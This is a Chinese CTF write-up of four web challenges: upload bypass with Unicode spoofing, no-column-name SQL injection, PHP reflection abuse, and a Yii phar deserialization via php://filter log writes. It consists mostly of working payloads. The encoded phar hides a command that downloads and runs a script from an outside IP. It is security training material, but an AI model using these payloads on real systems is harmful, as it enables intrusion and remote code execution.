前言
单纯记录下考点
WEB
upload
考点
- 文件上传绕过
- unicode欺骗
做题
同目录两个源码,index.php,example.php(须扫目录)
1 |
|
example.php
1 |
|
思路:
- 生成图片马shell.php,压缩成zip,字符i用unicode
U+130
替换 - 在example.php跨目录解压exp.zip
考点分析
getimagesize可用如下替代
1
2#define width 1
#define height 1
将上述代码加到exp.zip后面即可,且可以设置高度和宽度unicode替换
- unicode相似字符搜索网站:https://teshuzi.com/zh/tu61.html
- unicode欺骗:https://eng.getwisdom.io/awesome-unicode/#collisionlowercasetransformationcollisions
easysql
考点
- 无列名注入
解题
- 用
updatexml()
报错注入 - 用
select (1,1,1)>(select * from users)
来判断列数,然后用join using
判断字段名 - select ? form ?
考点分析
参考链接:
https://y4er.com/post/no-column-name-injection/
https://www.freesion.com/article/4322842637/#join__usingxx_66
分为order by、子查询、join using三种
- order by
用图片来解释
比如要跑第三个字段,那么payload就是此时是在以第三列进行比对然后进行排序,如’b’<’c’为1
select * from users where id=1 union select 1,2,'p' order by 3
True
,那么当’b’>’c’时为False
,回显发生变化,就可以以此来判断列名 - 子查询
思想是换列名,先用几个(select 1)a
来判断列数
此时列名换成我们已知的了,就可以查询字段名了,如上面的admin
、pass
就是字段名
payload:
1 | ?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x |
这个payload直接读取了this_1s_th3_fiag_tab13表的第二列的所有数据
3. join using
获取第一列的列名
1 | ?id=-1' union all select * from (select * from users as a join users as b)as c--+ |
获取次列及后续列名
1 | ?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+ |
数据库中as主要作用是起别名,常规来说都可以省略,但是为了增加可读性,不建议省略。
easysouce
考点
- php反射类利用
做题
1 |
|
payload:
1 | ?rc=ReflectionMethod&ra=User&rb=q&rd=__toString |
考点分析
从这里找反射类和方法https://www.php.net/manual/zh/book.reflection.php
filter
考点
- yii反序列化新链
- 通过php://filter将phar写入log文件
参考链接
清空日志文件
1 | GET /?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log HTTP/1.1 |
添加前缀
1 | GET /?file=AA HTTP/1.1 |
写入phar
1 | GET /?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=35=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=44=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=51=00=32=00=39=00=6B=00=5A=00=57=00=4E=00=6C=00=63=00=48=00=52=00=70=00=62=00=32=00=35=00=63=00=52=00=58=00=68=00=30=00=5A=00=57=00=35=00=7A=00=61=00=57=00=39=00=75=00=58=00=46=00=4A=00=31=00=62=00=6C=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4D=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4E=00=44=00=4D=00=36=00=49=00=67=00=42=00=44=00=62=00=32=00=52=00=6C=00=59=00=32=00=56=00=77=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=46=00=65=00=48=00=52=00=6C=00=62=00=6E=00=4E=00=70=00=62=00=32=00=35=00=63=00=55=00=6E=00=56=00=75=00=55=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=77=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=5A=00=58=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=41=00=36=00=49=00=6B=00=5A=00=68=00=61=00=32=00=56=00=79=00=58=00=46=00=5A=00=68=00=62=00=47=00=6C=00=6B=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=49=00=6A=00=6F=00=7A=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=79=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6E=00=5A=00=57=00=35=00=6C=00=63=00=6D=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=49=00=36=00=49=00=6B=00=5A=00=68=00=61=00=32=00=56=00=79=00=58=00=45=00=52=00=6C=00=5A=00=6D=00=46=00=31=00=62=00=48=00=52=00=48=00=5A=00=57=00=35=00=6C=00=63=00=6D=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=52=00=6C=00=5A=00=6D=00=46=00=31=00=62=00=48=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=44=00=45=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6D=00=77=00=67=00=61=00=48=00=52=00=30=00=63=00=44=00=6F=00=76=00=4C=00=7A=00=45=00=7A=00=4F=00=53=00=34=00=79=00=4D=00=6A=00=51=00=75=00=4D=00=6A=00=51=00=33=00=4C=00=6A=00=45=00=77=00=4E=00=53=00=39=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=48=00=78=00=69=00=59=00=58=00=4E=00=6F=00=49=00=6A=00=74=00=39=00=63=00=7A=00=6F=00=78=00=4D=00=6A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=64=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=39=00=79=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=57=00=46=00=34=00=55=00=6D=00=56=00=30=00=63=00=6D=00=6C=00=6C=00=63=00=79=00=49=00=37=00=61=00=54=00=6F=00=35=00=4F=00=54=00=6B=00=35=00=4F=00=54=00=6B=00=35=00=4F=00=54=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=50=00=35=00=61=00=6A=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=32=00=79=00=35=00=71=00=4F=00=37=00=78=00=63=00=53=00=72=00=4F=00=2B=00=78=00=4E=00=56=00=43=00=52=00=48=00=4B=00=67=00=70=00=7A=00=57=00=4F=00=33=00=39=00=4D=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a HTTP/1.1 |
清除杂乱字符
1 | GET /?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log HTTP/1.1 |
phar反序列化
1 | GET /?file=phar:///var/www/html/basic/runtime/logs/app.log HTTP/1.1 |